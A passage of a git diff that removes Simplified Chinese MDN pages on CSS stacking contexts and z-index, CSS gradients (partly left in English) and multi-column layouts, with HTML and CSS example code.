在层叠上下文中,子元素同样也按照上面解释的规则进行层叠。 重要的是,其子级层叠上下文的 z-index 值只在父级中才有意义。子级层叠上下文被自动视为父级层叠上下文的一个独立单元。

- -

总结:

- -
    -
  • 层叠上下文可以包含在其他层叠上下文中,并且一起创建一个层叠上下文的层级。
  • -
  • 每个层叠上下文都完全独立于它的兄弟元素:当处理层叠时只考虑子元素。
  • -
  • 每个层叠上下文都是自包含的:当一个元素的内容发生层叠后,该元素将被作为整体在父级层叠上下文中按顺序进行层叠。
  • -
- -
Note: 层叠上下文的层级是 HTML 元素层级的一个子级,因为只有某些元素才会创建层叠上下文。可以这样说,没有创建自己的层叠上下文的元素会被父层叠上下文同化
- -

示例

- -

Example of stacking rules modified using z-index

- -

在这个例子中,每个被定位的元素都创建了独自的层叠上下文,因为他们被指定了定位属性和 z-index 值。我们把层叠上下文的层级列在下面:

- -
    -
  • Root -
      -
    • DIV #1
    • -
    • DIV #2
    • -
    • DIV #3 -
        -
      • DIV #4
      • -
      • DIV #5
      • -
      • DIV #6
      • -
      -
    • -
    -
  • -
- -

请一定要注意 DIV #4,DIV #5 和 DIV #6 是 DIV #3 的子元素,所以它们的层叠完全在 DIV #3 中被处理。一旦 DIV #3 中的层叠和渲染处理完成,DIV #3 元素就被作为一个整体传递与兄弟元素的 DIV 在 root(根)元素进行层叠。

- -
-

注意:

- -
    -
  • DIV #4 被渲染在 DIV #1 之下,因为 DIV #1 的 z-index (5) 在 root 元素的层叠上下文中生效,而 DIV #4 的 z-index (6) 在 DIV #3 的层叠上下文中生效。因此,DIV #4 在 DIV #1 之下,因为 DIV #4 归属于 z-index 值较低的 DIV #3 元素。
  • -
  • 由此可得 DIV #2 (z-index 2) 被渲染在 DIV #5 (z-index 1) 之下,因为 DIV #5 归属于 z-index 较高的 DIV #3 元素。
  • -
  • DIV #3 的 z-index 值是 4,但是这个值独立于 DIV #4,DIV #5 和 DIV #6 的 z-index 值,因为他们从属于不同的层叠上下文。
  • -
  • 分辨出层叠的元素在 Z 轴上的渲染顺序的一个简单方法是将它们想象成一系列的版本号,子元素是其父元素版本号之下的次要版本。通过这个方法我们可以轻松地看出为什么一个 z-index 为 1 的元素(DIV #5)层叠于一个 z-index 为 2 的元素(DIV #2)之上,而一个 z-index 为 6 的元素(DIV #4)层叠于 z-index 为 5 的元素(DIV #1)之下。在我们的例子中(依照最终渲染次序排列): -
      -
    • Root -
        -
      • DIV #2 - z-index 为 2
      • -
      • DIV #3 - z-index 为 4 -
          -
        • DIV #5 - z-index 为 1,在一个 z-index 为 4 的元素内层叠,所以渲染次序为 4.1
        • -
        • DIV #6 - z-index 为 3,在一个 z-index 为 4 的元素内层叠,所以渲染次序为 4.3
        • -
        • DIV #4 - z-index 为 6,在一个 z-index 为 4 的元素内层叠,所以渲染次序为 4.6
        • -
        -
      • -
      • DIV #1 - z-index 为 5
      • -
      -
    • -
    -
  • -
-
- -

示例源码

- -

HTML

- -
<div id="div1">
-  <h1>Division Element #1</h1>
-  <code>position: relative;<br/>
-  z-index: 5;</code>
-</div>
-
-<div id="div2">
-  <h1>Division Element #2</h1>
-  <code>position: relative;<br/>
-  z-index: 2;</code>
-</div>
-
-<div id="div3">
-  <div id="div4">
-    <h1>Division Element #4</h1>
-    <code>position: relative;<br/>
-    z-index: 6;</code>
-  </div>
-
-  <h1>Division Element #3</h1>
-  <code>position: absolute;<br/>
-  z-index: 4;</code>
-
-  <div id="div5">
-    <h1>Division Element #5</h1>
-    <code>position: relative;<br/>
-    z-index: 1;</code>
-  </div>
-
-  <div id="div6">
-    <h1>Division Element #6</h1>
-    <code>position: absolute;<br/>
-    z-index: 3;</code>
-  </div>
-</div>
- -

CSS

- -
* {
-    margin: 0;
-}
-html {
-    padding: 20px;
-    font: 12px/20px Arial, sans-serif;
-}
-div {
-    opacity: 0.7;
-    position: relative;
-}
-h1 {
-    font: inherit;
-    font-weight: bold;
-}
-#div1,
-#div2 {
-    border: 1px dashed #696;
-    padding: 10px;
-    background-color: #cfc;
-}
-#div1 {
-    z-index: 5;
-    margin-bottom: 190px;
-}
-#div2 {
-    z-index: 2;
-}
-#div3 {
-    z-index: 4;
-    opacity: 1;
-    position: absolute;
-    top: 40px;
-    left: 180px;
-    width: 330px;
-    border: 1px dashed #900;
-    background-color: #fdd;
-    padding: 40px 20px 20px;
-}
-#div4,
-#div5 {
-    border: 1px dashed #996;
-    background-color: #ffc;
-}
-#div4 {
-    z-index: 6;
-    margin-bottom: 15px;
-    padding: 25px 10px 5px;
-}
-#div5 {
-    z-index: 1;
-    margin-top: 15px;
-    padding: 5px 10px;
-}
-#div6 {
-    z-index: 3;
-    position: absolute;
-    top: 20px;
-    left: 180px;
-    width: 150px;
-    height: 125px;
-    border: 1px dashed #009;
-    padding-top: 125px;
-    background-color: #ddf;
-    text-align: center;
-}
- -

Result

- -

{{EmbedLiveSample('示例源码', '100%', '396') }}

- -

参考

- - - -
-

原始文档信息

- - -
diff --git a/files/zh-cn/web/guide/css/using_css_gradients/index.html b/files/zh-cn/web/guide/css/using_css_gradients/index.html deleted file mode 100644 index 21460cd820..0000000000 --- a/files/zh-cn/web/guide/css/using_css_gradients/index.html +++ /dev/null @@ -1,717 +0,0 @@ ---- -title: 使用 CSS 渐变 -slug: Web/Guide/CSS/Using_CSS_gradients -translation_of: Web/CSS/CSS_Images/Using_CSS_gradients ---- -
{{CSSRef}}
- -

CSS 渐变 {{cssxref("<image>")}} 类型的一种特殊类型 {{cssxref("<gradient>")}} 表示,由两种或多种颜色之间的渐进过渡组成。您可以选择三种类型的渐变:线性 (由 {{cssxref("linear-gradient")}} 函数创建),径向(由 {{cssxref("radial-gradient")}} 函数创建) 和圆锥 (由 {{cssxref("conic-gradient")}} 函数创建)。您还可以使用 {{cssxref("repeating-linear-gradient")}} 和 {{cssxref("repeating-radial-gradient")}} 函数创建重复渐变。

- -

渐变可以在任何使用 <image> 的地方使用,例如在背景中。 由于渐变是动态生成的,因此它们可以消除对传统用于实现类似效果的栅格图像文件的需求。 此外,由于渐变是由浏览器生成的,因此在放大时它们看起来比栅格图像更好,并且可以动态调整大小。

- -

我们将从线性渐变开始介绍,然后以线性渐变为例介绍所有渐变类型支持的功能,然后继续介绍径向渐变,圆锥渐变和重复渐变。

- -

使用线性渐变

- -

线性渐变创建了一条沿直线前进的颜色带。

- -
-

基础线性渐变

- -

要创建最基本的渐变类型,您只需指定两种颜色即可。 这些被称为色标。 至少指定两个色标,也可以指定任意数量。

- - - -
.simple-linear {
-  background: linear-gradient(blue, pink);
-}
- -

{{ EmbedLiveSample('A_basic_linear_gradient', 120, 120) }}

-
- -
-

改变渐变方向

- -

默认情况下,线性渐变的方向是从上到下, 你可以指定一个值来改变渐变的方向。

- - - -
.horizontal-gradient {
-  background: linear-gradient(to right, blue, pink);
-}
-
- -

{{ EmbedLiveSample('Changing_the_direction', 120, 120) }}

-
- -
-

对角线渐变

- -

你甚至可以设置渐变方向为从一个对角到另一个对角。

- - - -
.diagonal-gradient {
-  background: linear-gradient(to bottom right, blue, pink);
-}
-
- -

{{ EmbedLiveSample('Diagonal_gradients', 200, 100) }}

-
- -
-

设置渐变角度

- -

如果你想要更精确地控制渐变的方向,你可以给渐变设置一个具体的角度。

- - - -
.angled-gradient {
-  background: linear-gradient(70deg, blue, pink);
-}
-
- -

{{ EmbedLiveSample('Using_angles', 120, 120) }}

- -

在使用角度的时候, 0deg 代表渐变方向为从下到上, 90deg 代表渐变方向为从左到右,诸如此类正角度都属于顺时针方向。 而负角度意味着逆时针方向。

- -

linear_redangles.png

-
- -

声明颜色和创建效果

- -

所有的CSS渐变类型都是一个位置依赖的颜色范围。CSS渐变产生的颜色可以随位置不断变化,从而产生平滑的颜色过渡。也可以创建纯色带和两种颜色之间的硬过渡。以下内容适用于所有渐变函数:

- -
-

使用多种颜色

- -

无需局限于使用两种颜色,你想使用多少种颜色都可以! 默认情况下,所设置颜色会均匀分布在渐变路径中。

- - - -
.auto-spaced-linear-gradient {
-  background: linear-gradient(red, yellow, blue, orange);
-}
-
- -

{{ EmbedLiveSample('Using_more_than_two_colors', 120, 120) }}

-
- -
-

颜色终止位置

- -

你不需要让你设置的颜色在默认位置终止。 你可以通过给每个颜色设置0,1%或者2%或者其他的绝对数值来调整它们的位置。如果你将位置设置为百分数, 0% 表示起始点, 而100%表示终点,但是如果需要的话你也可以设置这个范围之外的其他值来达到你想要的效果。如果有些位置你没有明确设置,那么它将会被自动计算,第一种颜色会在0%处停止,而最后一种颜色是100%,至于其他颜色则是在它邻近的两种颜色的中间停止。 

- - - -
.multicolor-linear {
-   background: linear-gradient(to left, lime 28px, red 77%, cyan);
-}
-
- -

{{ EmbedLiveSample('Positioning_color_stops', 120, 120) }}

-
- -
-

创建实线

- -

要在两种颜色之间创建一条硬线,即创建一个条纹而不是逐渐过渡,可以将相邻的颜色停止设置为相同的位置。在此示例中,两种颜色在50%标记处共享一个颜色停止点,即渐变的一半:

- - - -
.striped {
-   background: linear-gradient(to bottom left, cyan 50%, palegoldenrod 50%);
-}
- -

{{ EmbedLiveSample('Creating_hard_lines', 120, 120) }}

-
- -
-

渐变提示

- -

默认情况下,渐变会平滑地从一种颜色过渡到另一种颜色。你可以通过设置一个值来将渐变的中心点移动到指定位置。 在如下示例中, 我们将渐变的中心点由50%设为10%。

- - - -
.color-hint {
-  background: linear-gradient(blue, 10%, pink);
-}
-.simple-linear {
-  background: linear-gradient(blue, pink);
-}
- -

{{ EmbedLiveSample('Gradient_hints', 120, 120) }}

-
- -
-

创建色带和条纹

- -

要在渐变中包含一个实心的非过渡颜色区域,请包含颜色起止点的两个位置。颜色起止点可以有两个位置,这相当于两个连续颜色在不同位置具有相同的颜色起止点。颜色将在第一个颜色起止点时达到完全饱和,保持该饱和度到第二个颜色起止点,并通过相邻颜色起止点的第一个位置过渡到相邻颜色起止点的颜色。

- - - -
.multiposition-stops {
-   background: linear-gradient(to left,
-       lime 20%, red 30%, red 45%, cyan 55%, cyan 70%, yellow 80% );
-   background: linear-gradient(to left,
-       lime 20%, red 30% 45%, cyan 55% 70%, yellow 80% );
-}
-.multiposition-stop2 {
-   background: linear-gradient(to left,
-      lime 25%, red 25%, red 50%, cyan 50%, cyan 75%, yellow 75% );
-   background: linear-gradient(to left,
-      lime 25%, red 25% 50%, cyan 50% 75%, yellow 75% );
-}
-
- -

{{ EmbedLiveSample('Creating_color_bands_stripes', 120, 120) }}

- -

In the first example above, the lime goes from the 0% mark, which is implied, to the 20% mark, transitions from lime to red over the next 10% of the width of the gradient, reach solid red at the 30% mark, and staying solid red up until 45% through the gradient, where it fades to cyan, being fully cyan for 15% of the gradient, and so on.

- -

In the second example, the second color stop for each color is at the same location as the first color stop for the adjacent color, creating a striped effect.

- -

In both examples, the gradient is written twice: the first is the CSS Images Level 3 method of repeating the color for each stop and the second example is the CSS Images Level 4 multiple color stop method of including two color-stop-lengths in a linear-color-stop declaration.

-
- -
-

Controlling the progression of a gradient

- -

By default, a gradient evenly progresses between the colors of two adjacent color stops, with the midpoint between those two color stops being the midpoint color value. You can control the interpolation, or progression, between two color stops by including a color hint location. In this example, the color reaches the midpoint between lime and cyan 20% of the way through the gradient rather than 50% of the way through. The second example does not contain the hint to hilight the difference the color hint can make:

- - - -
.colorhint-gradient {
-  background: linear-gradient(to top, black, 20%, cyan);
-}
-.regular-progression {
-  background: linear-gradient(to top, black, cyan);
-}
-
- -

{{ EmbedLiveSample('Controlling_the_progression_of_a_gradient', 120, 120) }}

-
- -

Overlaying gradients

- -

Gradients support transparency, so you can stack multiple backgrounds to achieve some pretty fancy effects. The backgrounds are stacked from top to bottom, with the first specified being on top.

- - - -
.layered-image {
-  background: linear-gradient(to right, transparent, mistyrose),
-      url("https://mdn.mozillademos.org/files/15525/critters.png");
-}
-
- -

{{ EmbedLiveSample('Overlaying_gradients', 300, 150) }}

- -

Stacked gradients

- -

You can even stack gradients with other gradients. As long as the top gradients aren't entirely opaque, the gradients below will still be visible.

- - - -
.stacked-linear {
-  background:
-      linear-gradient(217deg, rgba(255,0,0,.8), rgba(255,0,0,0) 70.71%),
-      linear-gradient(127deg, rgba(0,255,0,.8), rgba(0,255,0,0) 70.71%),
-      linear-gradient(336deg, rgba(0,0,255,.8), rgba(0,0,255,0) 70.71%);
-}
-
- -

{{ EmbedLiveSample('Stacked_gradients', 200, 200) }}

- -

Using radial gradients

- -

Radial gradients are similar to linear gradients, except that they radiate out from a central point. You can dictate where that central point is. You can also make them circular or elliptical.

- -

A basic radial gradient

- -

As with linear gradients, all you need to create a radial gradient are two colors. By default, the center of the gradient is at the 50% 50% mark, and the gradient is elliptical matching the aspect ratio of it's box:

- - - -
.simple-radial {
-  background: radial-gradient(red, blue);
-}
-
- -

{{ EmbedLiveSample('A_basic_radial_gradient', 120, 120) }}

- -

Positioning radial color stops

- -

Again like linear gradients, you can position each radial color stop with a percentage or absolute length.

- - - -
.radial-gradient {
-  background: radial-gradient(red 10px, yellow 30%, #1e90ff 50%);
-}
-
- -

{{ EmbedLiveSample('Positioning_radial_color_stops', 120, 120) }}

- -

Positioning the center of the gradient

- -

You can position the center of the gradient with keyterms, percentage, or absolute lengths, length and percentage values repeating if only one is present, otherwise in the order of position from the left and position from the top.

- - - -
.radial-gradient {
-  background: radial-gradient(at 0% 30%, red 10px, yellow 30%, #1e90ff 50%);
-}
-
- -

{{ EmbedLiveSample('Positioning_the_center_of_the_gradient', 120, 120) }}

- -

Sizing radial gradients

- -

Unlike linear gradients, you can specify the size of radial gradients. Possible values include closest-corner, closest-side, farthest-corner, and farthest-side, with farthest-corner being the default.

- -

Example: closest-side for ellipses

- -

This example uses the closest-side size value, which means the size is set by the distance from the starting point (the center) to the closest side of the enclosing box.

- - - -
.radial-ellipse-side {
-  background: radial-gradient(ellipse closest-side,
-      red, yellow 10%, #1e90ff 50%, beige);
-}
-
- -

{{ EmbedLiveSample('Example_closest-side_for_ellipses', 240, 100) }}

- -

Example: farthest-corner for ellipses

- -

This example is similar to the previous one, except that its size is specified as farthest-corner, which sets the size of the gradient by the distance from the starting point to the farthest corner of the enclosing box from the starting point.

- - - -
.radial-ellipse-far {
-  background: radial-gradient(ellipse farthest-corner at 90% 90%,
-      red, yellow 10%, #1e90ff 50%, beige);
-}
-
- -

{{ EmbedLiveSample('Example_farthest-corner_for_ellipses', 240, 100) }}

- -

Example: closest-side for circles

- -

This example uses closest-side, which makes the circle's size to be the distance between the starting point (the center) and the closest side. The circle's radius is the distance between the center of the gradient and the closest edge, which due to the positioning of the 25% from the top and 25% from the bottom, is closest to the bottom, since the height in this case is narrower than the width.

- - - -
.radial-circle-close {
-  background: radial-gradient(circle closest-side at 25% 75%,
-      red, yellow 10%, #1e90ff 50%, beige);
-}
-
- -

{{ EmbedLiveSample('Example_closest-side_for_circles', 240, 120) }}

- -

Stacked radial gradients

- -

Just like linear gradients, you can also stack radial gradients. The first specified is on top, the last on the bottom.

- - - -
.stacked-radial {
-  background:
-      radial-gradient(circle at 50% 0,
-        rgba(255,0,0,.5),
-        rgba(255,0,0,0) 70.71%),
-      radial-gradient(circle at 6.7% 75%,
-        rgba(0,0,255,.5),
-        rgba(0,0,255,0) 70.71%),
-      radial-gradient(circle at 93.3% 75%,
-        rgba(0,255,0,.5),
-        rgba(0,255,0,0) 70.71%) beige;
-  border-radius: 50%;
-}
-
- -

{{ EmbedLiveSample('Stacked_radial_gradients', 200, 200) }}

- -

Using repeating gradients

- -

The {{cssxref("linear-gradient")}} and {{cssxref("radial-gradient")}} properties don't support automatically repeated color stops. However, the {{cssxref("repeating-linear-gradient")}} and {{cssxref("repeating-radial-gradient")}} properties are available to offer this functionality.

- -

The size of the gradient line that repeats is the length between the first color stop value and the last color stop length value. If the last color stop has just a color and no color stop length, the value defaults to 0, meaning the linear gradient will not repeat and the radial gradient will only repeat if the radius of the gradient is smaller than the length between the center of the gradient and the farthest corner.

- -
-

Repeating linear gradients

- -

This example uses {{cssxref("repeating-linear-gradient")}} to create a gradient that progresses repeatedly in a straight line. The colors get cycled over again as the gradient repeats. In this case the gradient line is 10px long.

- - - -
.repeating-linear {
-  background: repeating-linear-gradient(-45deg, red, red 5px, blue 5px, blue 10px);
-}
-
- -

{{ EmbedLiveSample('Repeating_linear_gradients', 120, 120) }}

-
- -
-

Multiple repeating linear gradients

- -

Similar to regular linear and radial gradients, you can include multiple gradients, one on top of the other. This only makes sense if the gradients are partially transparent allowing subsequent gradients to show through the transparent areas, or if you include different background-sizes, optionally with different background-position property values, for each gradient image. We are using transparency.

- -

In this case the gradient lines are 300px, 230px, and 300px long.

- - - -
.multi-repeating-linear {
-  background:
-      repeating-linear-gradient(190deg, rgba(255, 0, 0, 0.5) 40px,
-        rgba(255, 153, 0, 0.5) 80px, rgba(255, 255, 0, 0.5) 120px,
-        rgba(0, 255, 0, 0.5) 160px, rgba(0, 0, 255, 0.5) 200px,
-        rgba(75, 0, 130, 0.5) 240px, rgba(238, 130, 238, 0.5) 280px,
-        rgba(255, 0, 0, 0.5) 300px),
-      repeating-linear-gradient(-190deg, rgba(255, 0, 0, 0.5) 30px,
-        rgba(255, 153, 0, 0.5) 60px, rgba(255, 255, 0, 0.5) 90px,
-        rgba(0, 255, 0, 0.5) 120px, rgba(0, 0, 255, 0.5) 150px,
-        rgba(75, 0, 130, 0.5) 180px, rgba(238, 130, 238, 0.5) 210px,
-        rgba(255, 0, 0, 0.5) 230px),
-      repeating-linear-gradient(23deg, red 50px, orange 100px,
-        yellow 150px, green 200px, blue 250px,
-        indigo 300px, violet 350px, red 370px);
-}
-
- -

{{ EmbedLiveSample('Multiple_repeating_linear_gradients', 600, 400) }}

-
- -

Plaid gradient

- -

To create plaid we include several overlapping gradients with transparency. In the first background declaration we listed every color stop separately. The second background property declaration using the multiple position color stop syntax:

- - - -
.plaid-gradient {
-  background:
-      repeating-linear-gradient(90deg, transparent, transparent 50px,
-        rgba(255, 127, 0, 0.25) 50px, rgba(255, 127, 0, 0.25) 56px,
-        transparent 56px, transparent 63px,
-        rgba(255, 127, 0, 0.25) 63px, rgba(255, 127, 0, 0.25) 69px,
-        transparent 69px, transparent 116px,
-        rgba(255, 206, 0, 0.25) 116px, rgba(255, 206, 0, 0.25) 166px),
-      repeating-linear-gradient(0deg, transparent, transparent 50px,
-        rgba(255, 127, 0, 0.25) 50px, rgba(255, 127, 0, 0.25) 56px,
-        transparent 56px, transparent 63px,
-        rgba(255, 127, 0, 0.25) 63px, rgba(255, 127, 0, 0.25) 69px,
-        transparent 69px, transparent 116px,
-        rgba(255, 206, 0, 0.25) 116px, rgba(255, 206, 0, 0.25) 166px),
-      repeating-linear-gradient(-45deg, transparent, transparent 5px,
-        rgba(143, 77, 63, 0.25) 5px, rgba(143, 77, 63, 0.25) 10px),
-      repeating-linear-gradient(45deg, transparent, transparent 5px,
-        rgba(143, 77, 63, 0.25) 5px, rgba(143, 77, 63, 0.25) 10px);
-
-  background:
-      repeating-linear-gradient(90deg, transparent 0 50px,
-        rgba(255, 127, 0, 0.25) 50px 56px,
-        transparent 56px 63px,
-        rgba(255, 127, 0, 0.25) 63px 69px,
-        transparent 69px 116px,
-        rgba(255, 206, 0, 0.25) 116px 166px),
-      repeating-linear-gradient(0deg, transparent 0 50px,
-        rgba(255, 127, 0, 0.25) 50px 56px,
-        transparent 56px 63px,
-        rgba(255, 127, 0, 0.25) 63px 69px,
-        transparent 69px 116px,
-        rgba(255, 206, 0, 0.25) 116px 166px),
-      repeating-linear-gradient(-45deg, transparent 0 5px,
-        rgba(143, 77, 63, 0.25) 5px 10px),
-      repeating-linear-gradient(45deg, transparent 0 5px,
-        rgba(143, 77, 63, 0.25) 5px 10px);
-}
-
- -

{{ EmbedLiveSample('Plaid_gradient', 200, 200) }}

- -

Repeating radial gradients

- -

This example uses {{cssxref("repeating-radial-gradient")}} to create a gradient that radiates repeatedly from a central point. The colors get cycled over and over as the gradient repeats.

- - - -
.repeating-radial {
-  background: repeating-radial-gradient(black, black 5px, white 5px, white 10px);
-}
-
- -

{{ EmbedLiveSample('Repeating_radial_gradients', 120, 120) }}

- -

Multiple repeating radial gradients

- - - -
.multi-target {
-  background:
-      repeating-radial-gradient(ellipse at 80% 50%,rgba(0,0,0,0.5),
-        rgba(0,0,0,0.5) 15px, rgba(255,255,255,0.5) 15px,
-        rgba(255,255,255,0.5) 30px) top left no-repeat,
-      repeating-radial-gradient(ellipse at 20% 50%,rgba(0,0,0,0.5),
-        rgba(0,0,0,0.5) 10px, rgba(255,255,255,0.5) 10px,
-        rgba(255,255,255,0.5) 20px) top left no-repeat yellow;
-  background-size: 200px 200px, 150px 150px;
-}
-
- -

{{ EmbedLiveSample('Multiple_repeating_radial_gradients', 250, 150) }}

- -

Plaid gradient

- -

To create plaid we include several overlapping gradients with transparency. In the first background declaration we listed every color stop separately. The second background property declaration using the multiple position color stop syntax:

- -
<div class="plaid-gradient"></div>
- -
div {
-  width: 200px;
-  height: 200px;
-}
- -
.plaid-gradient {
-  background:
-      repeating-linear-gradient(90deg, transparent, transparent 50px,
-        rgba(255, 127, 0, 0.25) 50px, rgba(255, 127, 0, 0.25) 56px,
-        transparent 56px, transparent 63px,
-        rgba(255, 127, 0, 0.25) 63px, rgba(255, 127, 0, 0.25) 69px,
-        transparent 69px, transparent 116px,
-        rgba(255, 206, 0, 0.25) 116px, rgba(255, 206, 0, 0.25) 166px),
-      repeating-linear-gradient(0deg, transparent, transparent 50px,
-        rgba(255, 127, 0, 0.25) 50px, rgba(255, 127, 0, 0.25) 56px,
-        transparent 56px, transparent 63px,
-        rgba(255, 127, 0, 0.25) 63px, rgba(255, 127, 0, 0.25) 69px,
-        transparent 69px, transparent 116px,
-        rgba(255, 206, 0, 0.25) 116px, rgba(255, 206, 0, 0.25) 166px),
-      repeating-linear-gradient(-45deg, transparent, transparent 5px,
-        rgba(143, 77, 63, 0.25) 5px, rgba(143, 77, 63, 0.25) 10px),
-      repeating-linear-gradient(45deg, transparent, transparent 5px,
-        rgba(143, 77, 63, 0.25) 5px, rgba(143, 77, 63, 0.25) 10px);
-
-  background:
-      repeating-linear-gradient(90deg, transparent 0 50px,
-        rgba(255, 127, 0, 0.25) 50px 56px,
-        transparent 56px 63px,
-        rgba(255, 127, 0, 0.25) 63px 69px,
-        transparent 69px 116px,
-        rgba(255, 206, 0, 0.25) 116px 166px),
-      repeating-linear-gradient(0deg, transparent 0 50px,
-        rgba(255, 127, 0, 0.25) 50px 56px,
-        transparent 56px 63px,
-        rgba(255, 127, 0, 0.25) 63px 69px,
-        transparent 69px 116px,
-        rgba(255, 206, 0, 0.25) 116px 166px),
-      repeating-linear-gradient(-45deg, transparent 0 5px,
-        rgba(143, 77, 63, 0.25) 5px 10px),
-      repeating-linear-gradient(45deg, transparent 0 5px,
-        rgba(143, 77, 63, 0.25) 5px 10px);
-}
-
- -

{{ EmbedLiveSample('Plaid_gradient', 200, 200) }}

- -

See also

- - diff --git a/files/zh-cn/web/guide/css/using_multi-column_layouts/index.html b/files/zh-cn/web/guide/css/using_multi-column_layouts/index.html deleted file mode 100644 index 593e14fd47..0000000000 --- a/files/zh-cn/web/guide/css/using_multi-column_layouts/index.html +++ /dev/null @@ -1,130 +0,0 @@ ---- -title: 使用CSS的多列布局 -slug: Web/Guide/CSS/Using_multi-column_layouts -translation_of: Web/CSS/CSS_Columns/Using_multi-column_layouts ---- -

{{CSSRef("CSS Multi-columns")}}

- -

CSS多列布局 扩展块布局模式,以便更容易地定义多列文本。如果一行太长,人们阅读文本很麻烦; 如果眼睛从一行的终点移动到下一个行的开始需要太长时间,它们就会丢失它们所在的行。因此,为了最大限度地利用大屏幕,作者应该将宽度不等的文本列并排放置,就像报纸一样。

- -

糟糕的是如果不使用CSS和HTML在特定的位置强制换行,或者严格限制文本中允许的标记,或者夸张地使用脚本的话,这是不可能实现的。该限制通过从传统的块级布局模块中延伸出来的新的CSS属性得以解决。

- -

使用多列布局

- -

列计数器和宽度

- -

有两个CSS属性控制是否实现多列布局和显示多少列: {{ Cssxref("column-count") }} and {{ Cssxref("column-width") }}。

- -

属性 column-count 设置特定数量的列数。例如,

- -
<div style="column-count:2;">Lorem ipsum dolor sit amet, consectetur adipisicing elit,
-sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam,
-quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat.
-Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat
-nulla pariatur. Excepteur sint occaecat cupidatat non proident, sunt in culpa
-qui officia deserunt mollit anim id est laborum</div>
-
- -

会以两列的方式显示内容:(如果你正使用支持多列布局的浏览器的话):

- -

Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur. Excepteur sint occaecat cupidatat non proident, sunt in culpa qui officia deserunt mollit anim id est laborum

- -

属性 column-width 设置期望的最小列宽。如果 column-count 没有设置,那么浏览器就会以合适的宽度尽量显示更多的列。

- -
<div style="column-width:20em;">Lorem ipsum dolor sit amet, consectetur adipisicing elit,
-sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam,
-quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat.
-Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat
-nulla pariatur. Excepteur sint occaecat cupidatat non proident, sunt in culpa
-qui officia deserunt mollit anim id est laborum</div>
-
- -

变成:

- -

Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur. Excepteur sint occaecat cupidatat non proident, sunt in culpa qui officia deserunt mollit anim id est laborum

- -

详细细节在 CSS3规范 中。

- -

在多列块中,内容会自动从一列换到另一列中。所有 HTML, CSS 和 DOM 功能在列之间都得到支持, 比如编辑和打印。

- -

columns 属性简写

- -

多数时候,网页设计者都会使用 {{ cssxref("column-count") }} 和 {{ cssxref("column-width") }} 的一个. 由于它们的值没有重叠,一般使用简写属性 {{ cssxref("columns") }}。例如,

- -

CSS声明 column-width:12em 可替换成:

- -
<div style="columns:12em">Lorem ipsum dolor sit amet, consectetur adipisicing elit,
-sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam,
-quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat.
-Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat
-nulla pariatur. Excepteur sint occaecat cupidatat non proident, sunt in culpa
-qui officia deserunt mollit anim id est laborum</div>
-
- -

Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur. Excepteur sint occaecat cupidatat non proident, sunt in culpa qui officia deserunt mollit anim id est laborum

- -

CSS声明 column-count:4 可替换成:

- -
<div style="columns:4">Lorem ipsum dolor sit amet, consectetur adipisicing elit,
-sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam,
-quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat.
-Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat
-nulla pariatur. Excepteur sint occaecat cupidatat non proident, sunt in culpa
-qui officia deserunt mollit anim id est laborum</div>
-
- -

Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur. Excepteur sint occaecat cupidatat non proident, sunt in culpa qui officia deserunt mollit anim id est laborum

- -

CSS声明 column-width:8emcolumn-count:12 可替换成:

- -
<div style="columns:12 8em">Lorem ipsum dolor sit amet, consectetur adipisicing elit,
-sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam,
-quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat.
-Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat
-nulla pariatur. Excepteur sint occaecat cupidatat non proident, sunt in culpa
-qui officia deserunt mollit anim id est laborum</div>
-
- -

Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur. Excepteur sint occaecat cupidatat non proident, sunt in culpa qui officia deserunt mollit anim id est laborum

- -

高度平衡

- -

CSS3多列规范需要列高平衡:即,浏览器自动设置最大列高,因此每列中的内容高度大致相同。Firefox浏览器是这样的。

- -

然而,一些情况下,明确设置最大列高也是有用的,这样内容从第一列开始,尽可能多的生成列,甚至会溢出右边沿。因此,如果通过设置{{ cssxref("height") }} 或 {{ cssxref("max-height") }} 属性来限制列高,在生成新的一列之前每一列都会仅允许增加到这个高度。该模型对布局来说也更高效。

- -

列间隙

- -

列之间有缝隙。建议值为1em。该值可通过设置多列模块的 {{ Cssxref("column-gap") }} 属性来修改:

- -
